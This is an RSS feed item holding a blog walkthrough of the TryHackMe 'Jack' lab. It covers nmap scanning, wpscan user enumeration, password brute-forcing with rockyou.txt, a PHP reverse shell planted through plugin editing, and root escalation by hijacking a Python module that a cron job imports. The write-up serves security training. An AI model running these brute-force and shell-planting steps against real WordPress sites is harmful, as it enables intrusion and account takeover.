      <description>&lt;![CDATA[https://tryhackme.com/room/jack&#xA;&#xA;Summary&#xA;exploit Wordpress web server&#xA;gain user shell&#xA;use Python to escalate to root&#xA;&#xA;Tools Used&#xA;nmap, wpscan, python, pspy&#xA;&#xA;!--more--&#xA;Enum&#xA;&#xA;Nmap&#xA;&#xA;sudo nmap -A jack.thm -oN jack &#xA;&#xA;nmap tells us we have a host running ssh and serving a wordpress application. &#xA;&#xA;details&#xA;Nmap 7.80 scan initiated Sun Aug 30 03:57:41 2020 as: nmap -A -oN jack -v jack.thm&#xA;Nmap scan report for jack.thm (10.10.126.131)&#xA;Host is up (0.30s latency).&#xA;Not shown: 998 closed ports&#xA;PORT   STATE SERVICE VERSION&#xA;22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)&#xA;| ssh-hostkey: &#xA;|   2048 3e:79:78:08:93:31:d0:83:7f:e2:bc:b6:14:bf:5d:9b (RSA)&#xA;|   256 3a:67:9f:af:7e:66:fa:e3:f8:c7:54:49:63:38:a2:93 (ECDSA)&#xA;|  256 8c:ef:55:b0:23:73:2c:14:09:45:22:ac:84:cb:40:d2 (ED25519)&#xA;80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))&#xA;|http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E&#xA;|http-generator: WordPress 5.3.2&#xA;| http-methods: &#xA;|  Supported Methods: GET HEAD POST OPTIONS&#xA;| http-robots.txt: 1 disallowed entry &#xA;|/wp-admin/&#xA;|http-server-header: Apache/2.4.18 (Ubuntu)&#xA;|http-title: Jack&amp;#039;s Personal Site &amp;#8211; Blog for Jacks writing adven...&#xA;No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).&#xA;TCP/IP fingerprint:&#xA;OS:SCAN(V=7.80%E=4%D=8/30%OT=22%CT=1%CU=42716%PV=Y%DS=4%DC=T%G=Y%TM=5F4B15C&#xA;OS:E%P=x8664-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)SEQ&#xA;OS:(SP=106%GCD=1%ISR=10A%TI=Z%CI=I%TS=8)OPS(O1=M509ST11NW7%O2=M509ST11NW7%O&#xA;OS:3=M509NNT11NW7%O4=M509ST11NW7%O5=M509ST11NW7%O6=M509ST11)WIN(W1=68DF%W2=&#xA;OS:68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M509NNSN&#xA;OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D&#xA;OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O&#xA;OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W&#xA;OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R&#xA;OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)&#xA;&#xA;Uptime guess: 0.014 days (since Sun Aug 30 03:38:38 2020)&#xA;Network Distance: 4 hops&#xA;TCP Sequence Prediction: Difficulty=262 (Good luck!)&#xA;IP ID Sequence Generation: All zeros&#xA;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#xA;&#xA;TRACEROUTE (using port 587/tcp)&#xA;HOP RTT       ADDRESS&#xA;1   167.61 ms 10.13.0.1&#xA;2   ... 3&#xA;4   304.95 ms jack.thm (10.10.126.131)&#xA;&#xA;Read data files from: /usr/bin/../share/nmap&#xA;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#xA;Nmap done at Sun Aug 30 03:58:22 2020 -- 1 IP address (1 host up) scanned in 41.89 seconds&#xA;/details&#xA;WPScan&#xA;&#xA;wpscan --url jack.thm&#xA;&#xA;  XML-RPC seems to be enabled&#xA;&#xA;We can use this to enumerate usernames. Let&#39;s try:&#xA;http://jack.thm/wp-json/wp/v2/users/1 - 200 - we are able to see the jack user (that we already know about)&#xA;http://jack.thm/wp-json/wp/v2/users/2 - 401 - not allowed to view this user&#xA;http://jack.thm/wp-json/wp/v2/users/99 - 404 - user not found&#xA;&#xA;WPScan to the rescue as it provides user enumerition AND bruteforcing which may allow us into the wp-admin panel. We find 2 additional users.&#xA;&#xA;wpscan --wpscan --url jack.thm --enumerate u&#xA;&#xA;Put all three users into a users.txt file and use a wordlist of your choice to brute force. We are able to sucesfully obtain a password for a user. Use that to login to wp-admin. &#xA;&#xA;wpscan --url jack.thm --passwords rockyou.txt --usernames users.txt&#xA;&#xA;Unfortunately, once logged in, the user does not have any administrative rights. Time to move onto exploitation.&#xA;&#xA;Exploit&#xA;&#xA;User&#xA;&#xA;https://www.exploit-db.com/exploits/44595&#xA;edit plugin php&#xA;insert php reverse shell&#xA;gain access to www-data user shell&#xA;obtain user flag&#xA;&#xA;Priv Esc&#xA;&#xA;Our next aim is to move from www-data to jack. Fortunately, according to reminder.txt in jack&#39;s home directory, this user has an issue setting permissions on backups. Doing a quick check we find /var/backups that contains some goodies that www-data is able to read. Using this, we can SSH to the host. &#xA;&#xA;find / -name backup* 2  /dev/null&#xA;&#xA;Root&#xA;&#xA;linPEAS (or any other privesc script of choice)&#xA;nothing of interest can be found apart from various interesting file access rights.&#xA;hint reveals that python is being used.&#xA;use pspy to monitor for any strange cronjobs by root&#xA;👀&#xA;    2020/08/30 00:26:01 CMD: UID=0    PID=3036   | /usr/bin/python /opt/statuscheck/checker.py &#xA;python exploitation&#xA;&#xA;checker.py:&#xA;&#xA;import os&#xA;&#xA;os.system(&#34;/usr/bin/curl -s -I http://127.0.0.1     /opt/statuscheck/output.log&#34;)&#xA;&#xA;From previous linenum scripts jack is a part of family which has write access to /usr/lib/python2.7/&#xA;&#xA;Since we know os.system is being used in the script we have a lot of options to gain root access such as:&#xA;&#xA;modify os.py to facilitate a reverse shell.&#xA;change permissions of other files and folders within the system (as root).&#xA;change ssh configs to allow for password-less root access via ssh.&#xA;obtain the root flag and write it to a file that is world readable.&#xA;&#xA;#tryhackme #wordpress #python]]&gt;</description>
      <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/jack" rel="nofollow">https://tryhackme.com/room/jack</a></p>

<h2 id="summary" id="summary">Summary</h2>
<ul><li>exploit Wordpress web server</li>
<li>gain user shell</li>
<li>use Python to escalate to root</li></ul>

<h3 id="tools-used" id="tools-used">Tools Used</h3>
<ul><li><code>nmap</code>, <code>wpscan</code>, <code>python</code>, <code>pspy</code></li></ul>



<h2 id="enum" id="enum">Enum</h2>

<h5 id="nmap" id="nmap">Nmap</h5>

<p><code>sudo nmap -A jack.thm -oN jack</code></p>

<p><code>nmap</code> tells us we have a host running ssh and serving a wordpress application.</p>

<p><details></p>

<pre><code># Nmap 7.80 scan initiated Sun Aug 30 03:57:41 2020 as: nmap -A -oN jack -v jack.thm
Nmap scan report for jack.thm (10.10.126.131)
Host is up (0.30s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3e:79:78:08:93:31:d0:83:7f:e2:bc:b6:14:bf:5d:9b (RSA)
|   256 3a:67:9f:af:7e:66:fa:e3:f8:c7:54:49:63:38:a2:93 (ECDSA)
|_  256 8c:ef:55:b0:23:73:2c:14:09:45:22:ac:84:cb:40:d2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 5.3.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Jack&amp;#039;s Personal Site &amp;#8211; Blog for Jacks writing adven...
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/30%OT=22%CT=1%CU=42716%PV=Y%DS=4%DC=T%G=Y%TM=5F4B15C
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)SEQ
OS:(SP=106%GCD=1%ISR=10A%TI=Z%CI=I%TS=8)OPS(O1=M509ST11NW7%O2=M509ST11NW7%O
OS:3=M509NNT11NW7%O4=M509ST11NW7%O5=M509ST11NW7%O6=M509ST11)WIN(W1=68DF%W2=
OS:68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M509NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.014 days (since Sun Aug 30 03:38:38 2020)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   167.61 ms 10.13.0.1
2   ... 3
4   304.95 ms jack.thm (10.10.126.131)

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 30 03:58:22 2020 -- 1 IP address (1 host up) scanned in 41.89 seconds
</code></pre>

<p></details></p>

<h5 id="wpscan" id="wpscan">WPScan</h5>

<p><code>wpscan --url jack.thm</code></p>

<blockquote><p>XML-RPC seems to be enabled</p></blockquote>

<p>We can use this to enumerate usernames. Let&#39;s try:
* <code>http://jack.thm/wp-json/wp/v2/users/1</code> – 200 – we are able to see the <em>jack</em> user (that we already know about)
* <code>http://jack.thm/wp-json/wp/v2/users/2</code> – 401 – not allowed to view this user
* <code>http://jack.thm/wp-json/wp/v2/users/99</code> – 404 – user not found</p>

<p>WPScan to the rescue as it provides user enumerition AND bruteforcing which may allow us into the <code>wp-admin</code> panel. We find 2 additional users.</p>

<p><code>wpscan --wpscan --url jack.thm --enumerate u</code></p>

<p>Put all three users into a users.txt file and use a wordlist of your choice to brute force. We are able to sucesfully obtain a password for a user. Use that to login to <code>wp-admin</code>.</p>

<p><code>wpscan --url jack.thm --passwords rockyou.txt --usernames users.txt</code></p>

<p>Unfortunately, once logged in, the user does not have any administrative rights. Time to move onto exploitation.</p>

<h2 id="exploit" id="exploit">Exploit</h2>

<h3 id="user" id="user">User</h3>
<ul><li><a href="https://www.exploit-db.com/exploits/44595" rel="nofollow">https://www.exploit-db.com/exploits/44595</a></li>
<li>edit plugin php</li>
<li>insert php reverse shell</li>
<li>gain access to <code>www-data</code> user shell</li>
<li>obtain user flag</li></ul>

<h2 id="priv-esc" id="priv-esc">Priv Esc</h2>

<p>Our next aim is to move from <code>www-data</code> to <code>jack</code>. Fortunately, according to <code>reminder.txt</code> in jack&#39;s home directory, this user has an issue setting permissions on backups. Doing a quick check we find <code>/var/backups</code> that contains some goodies that <code>www-data</code> is able to read. Using this, we can SSH to the host.</p>

<p><code>find / -name backup* 2&gt;/dev/null</code></p>

<h2 id="root" id="root">Root</h2>
<ul><li>linPEAS (or any other privesc script of choice)</li>
<li>nothing of interest can be found apart from various interesting file access rights.</li>
<li>hint reveals that python is being used.</li>
<li>use <code>pspy</code> to monitor for any strange cronjobs by root</li>

<li><p>👀</p>
<ul><li><p><code>2020/08/30 00:26:01 CMD: UID=0    PID=3036   | /usr/bin/python /opt/statuscheck/checker.py</code></p>

<h5 id="python-exploitation" id="python-exploitation">python exploitation</h5></li></ul></li></ul>

<p><code>checker.py</code>:</p>

<pre><code class="language-python">import os

os.system(&#34;/usr/bin/curl -s -I http://127.0.0.1 &gt;&gt; /opt/statuscheck/output.log&#34;)
</code></pre>

<p>From previous linenum scripts <code>jack</code> is a part of <code>family</code> which has write access to /usr/lib/python2.7/</p>

<p>Since we know <code>os.system</code> is being used in the script we have a lot of options to gain root access such as:</p>
<ul><li>modify <code>os.py</code> to facilitate a reverse shell.</li>
<li>change permissions of other files and folders within the system (as root).</li>
<li>change ssh configs to allow for password-less root access via ssh.</li>
<li>obtain the root flag and write it to a file that is world readable.</li></ul>

<p><a href="https://drsh0.writeas.com/tag:tryhackme" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">tryhackme</span></a> <a href="https://drsh0.writeas.com/tag:wordpress" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">wordpress</span></a> <a href="https://drsh0.writeas.com/tag:python" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">python</span></a></p>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/jack-tryhackme</guid>
      <pubDate>Tue, 01 Dec 2020 06:04:31 +0000</pubDate>
    </item>
  </channel>
</rss>